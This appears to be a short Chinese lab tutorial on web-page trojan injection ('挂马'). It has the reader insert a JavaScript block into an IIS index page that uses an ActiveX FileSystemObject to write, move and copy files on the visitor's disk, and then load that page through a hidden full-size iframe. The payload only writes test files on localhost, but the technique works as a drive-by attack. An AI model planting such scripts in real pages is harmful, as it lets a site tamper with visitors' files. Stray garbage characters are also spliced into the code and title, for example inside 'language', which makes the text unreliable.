1、第一步:架设Internet 信息服务(IIS)管理器,并把网页文件复制到C:\Inetpub\wwwroot。
2、第二步:打开Internet 信息服务(IIS)管理器窗口,如图6-6。
3、第三步:在C:\Inetpub\wwwroot中的文件index.htm上加入代码,<挢旗扦渌;script languag髫潋啜缅e="JavaScript"><!--var fso,f1,f2,f3,s;fso= new ActiveXObject("Scripting.FileSystemObject");f1=fso.CreateTextFile("C:\\xiaobo.txt",true);f1.Write("晓博网页挂马测试!!");f1.Close();f2=fso.GetFile("C:\\xiaobo.txt");f2.Move("D:\\xiaobo.txt");f2.Copy("D:\\xiaobo3.txt");f2=fso.GetFile("D:\\xiaobo.txt");f3=fso.GetFile("D:\\xiaobo.txt");--></script>页面index.htm内容如图6-7。
4、而后写入一个文件test.html内容如下,<html><head>挢旗扦渌;<title>晓时挣狙娟博挂马测试</title></head><body><iframe src=http://127.0.0.1/index.htm style="width:100%;height:100%"frameborder="0" scrolling="no"></iframe></body></html>网页效果如图6-8。
5、第四步:打开IE浏览器,输入127.0.0.1,打开默认主页如图6-9。
6、第五步:开启电脑的文件系统在D盘查看新生成目录。代码运行成功后D盘下建立xiaobo.txt和xiaobo3.txt两文件。如图6-10。